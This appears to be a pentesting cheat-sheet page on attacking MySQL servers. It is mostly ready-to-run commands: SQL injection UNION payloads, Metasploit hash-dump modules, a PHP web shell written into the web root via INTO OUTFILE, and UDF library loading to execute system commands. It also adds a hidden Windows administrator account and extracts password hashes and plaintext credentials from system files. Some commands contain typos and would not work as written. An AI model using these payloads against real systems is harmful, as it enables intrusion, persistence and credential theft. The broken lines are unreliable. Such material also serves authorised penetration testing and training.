Physical attacks
Mobile Apps Pentesting
Pentesting

3306 - Pentesting Mysql

Basic Information

MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). From here.

Default port: 3306

3306/tcp open mysql

Connect

Local

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Remote

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Enumeration

Some of the enumeration actions require valid credentials

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use uxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Write any binary data

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

Basic & interesting MySQL commands

show databases;
use <database>;
show tables;
describe <table_name>;
select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
select user,file_priv from mysql.user where user='root'; #File privileges
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
#Try to execute code
select do_system(‘id’);
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
#Read & Write
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute

MySQL arbitrary read file by client

Actually, when you try to load data local into a table the content of a file the MySQL or MariaDB server asks the client to read it and send the content. Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files. Please notice that this is the behaviour using:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Notice the "local" word) Because without the "local" you can get:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Initial PoC: https://github.com/allyshka/Rogue-MySql-Server In this paper you can see a complete description of the attack and even how to extend it to RCE: https://paper.seebug.org/1113/ Here you can find an overview of the attack: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

POST

Mysql User

It will be very interesting if mysql is running as root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"

Privilege escalation

How to:

  • Current Level of access

    • mysql>select user();

    • mysql>select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';

  • Access passwords

    • mysql> use mysql

    • mysql> select user,password from user;

  • Create a new user and grant him privileges

    • mysql>create user test identified by 'test';

    • mysql> grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

  • Break into a shell

    • mysql> \! cat /etc/passwd

    • mysql> \! bash

Privilege Escalation via library

You can find compiled versions of this libraries in sqlmap: locate lib_mysqludf_sys.so and locate lib_mysqludf_sys.dllInstead of locate you can also use whereis to search for this libraries inside the host.

Linux

use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from npn into dumpfile '/tmp/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt');

Windows

USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Extracting MySQL credentials from the database

SELECT User,Host,Password FROM mysql.user;
SELECT User,Host,authentication_string FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT User,Host,authentication_string FROM mysql.user;"

Extracting MySQL credentials from files

Inside /etc/mysql/debian.cnf you can find the plain-text password of the user debian-sys-maint

cat /etc/mysql/debian.cnf

You can use these credentials to login in the mysql database.

Inside the file: /var/lib/mysql/mysql/user.MYD you can find all the hashes of the MySQL users (the ones that you can extract from mysql.user inside the database).

You can extract them doing:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Useful files

Configuration Files

  • windows

      • config.ini

      • my.ini

        • windows\my.ini

        • winnt\my.ini

      • <InstDir>/mysql/data/

    • unix

      • my.cnf

        • /etc/my.cnf

        • /etc/mysql/my.cnf

        • /var/lib/mysql/my.cnf

        • ~/.my.cnf

        • /etc/my.cnf

  • Command History

    • ~/.mysql.history

  • Log Files

    • connections.log

    • update.log

    • common.log